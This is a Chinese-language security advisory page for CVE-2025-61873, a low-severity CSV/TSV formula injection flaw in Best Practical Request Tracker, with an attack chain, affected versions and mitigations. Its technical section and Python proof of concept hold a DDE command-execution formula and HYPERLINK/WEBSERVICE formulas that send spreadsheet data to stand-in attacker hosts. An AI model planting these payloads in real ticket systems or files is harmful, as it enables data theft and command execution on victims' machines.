IPBUF安全漏洞报告
English
CVE-2025-61873 CVSS 2.6 低危

CVE-2025-61873: Best Practical RT CSV注入漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-61873
漏洞类型
CSV注入
CVSS评分
2.6 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Best Practical Request Tracker (RT)

相关标签

CSV注入公式注入Best Practical RT工单管理系统数据导出漏洞CVE-2025-61873

漏洞概述

CVE-2025-61873是Best Practical公司开发的Request Tracker(RT)工单管理系统中的一个CSV注入漏洞。该漏洞存在于RT 4.4.9之前、5.0.9之前和6.0.2之前的所有版本。攻击者可以通过在工单值(ticket values)中注入恶意公式(如以等号开头的公式),当管理员或其他用户使用TSV(制表符分隔值)格式导出工单数据时,恶意公式会被写入到导出的CSV文件中。受害者在Microsoft Excel或其他电子表格软件中打开该文件时,注入的公式可能会被执行,从而导致数据泄露、公式注入攻击或进一步的恶意操作。此漏洞需要攻击者具有创建或修改工单的权限,且需要管理员进行TSV导出操作才能触发。CVSS 3.1评分仅为2.6,属于低危级别,主要影响完整性和数据安全。

技术细节

该漏洞的根本原因在于RT系统在处理工单数据导出时,未对用户输入的特殊字符和公式符号进行充分的输入验证和输出编码。当工单字段中包含以等号(=)、加号(+)或减号(-)开头的字符串时,这些内容在TSV导出时会被Excel等软件识别为公式。在CSV/TSV格式中,以等号开头的文本会被电子表格软件自动解析为公式执行。攻击者可以在工单的任意文本字段(如主题、描述、自定义字段等)中插入恶意公式,例如:=cmd|' /C calc'!A0 或 =HYPERLINK("http://attacker.com/steal?data="&A1) 。当导出的TSV文件被用Excel打开时,第一个公式会被自动执行,可能导致命令执行或数据外传。由于RT系统通常用于企业内部流程管理,导出的工单数据可能包含敏感信息,因此该漏洞可被用于情报收集和数据窃取。漏洞利用的关键条件是:1) 攻击者需要能够创建或编辑工单;2) 需要有权限的用户执行TSV导出操作;3) 导出的文件需要在支持公式解析的电子表格软件中打开。

攻击链分析

STEP 1
步骤1
攻击者获取RT系统账户并创建或编辑工单,在工单字段中注入恶意CSV公式(如=cmd|' /C calc'!A0)
STEP 2
步骤2
管理员或具有TSV导出权限的用户登录RT系统并执行工单数据的TSV格式导出操作
STEP 3
步骤3
RT系统将包含恶意公式的工单数据导出为TSV文件,但未对公式符号进行转义或过滤
STEP 4
步骤4
受害者在Microsoft Excel或其他电子表格软件中打开导出的TSV文件,软件自动将等号开头的字符串解析为公式
STEP 5
步骤5
恶意公式被执行,可能导致命令执行(本地)、数据外传至远程服务器、或进一步的社会工程攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61873 CSV Injection PoC # Attacker's ticket creation with malicious formula import requests # Target RT instance target_url = "http://rt.example.com/REST/1.0/ticket/new" # Malicious payload for CSV injection # When exported as TSV and opened in Excel, this becomes a formula payload = { "subject": "Test Ticket =cmd|' /C calc'!A0", "queue": "General", "owner": "root", "requestor": "[email protected]", "description": "Description field with formula =HYPERLINK(\"http://evil.com/steal?data=\"&A1)" } # Create the malicious ticket via REST API response = requests.post(target_url, data=payload, auth=('attacker_user', 'password')) print(f"Ticket created: {response.status_code}") # Alternative: Data exfiltration formula data_exfil_payload = { "subject": "Urgent Issue =WEBSERVICE(\"http://attacker.com/log?data=\"&ENCODEURL(A1))" } requests.post(target_url, data=data_exfil_payload, auth=('attacker_user', 'password')) print("Malicious ticket created. When admin exports TSV and opens in Excel, formula will execute.")

影响范围

Best Practical Request Tracker (RT) < 4.4.9
Best Practical Request Tracker (RT) < 5.0.9
Best Practical Request Tracker (RT) < 6.0.2

防御指南

临时缓解措施
作为临时缓解措施,在等待官方补丁期间,可以采取以下方法:1) 禁用TSV导出功能或将其限制为只读操作;2) 在导出前对所有工单数据进行人工审核,移除可疑的公式字符;3) 使用纯文本编辑器而非Excel打开导出的TSV文件;4) 在Excel中打开TSV时选择'使用文本导入向导'并指定文本格式,避免自动公式解析;5) 提醒用户不要直接双击打开来源不明的CSV/TSV文件;6) 监控和记录所有导出操作日志以便追踪异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表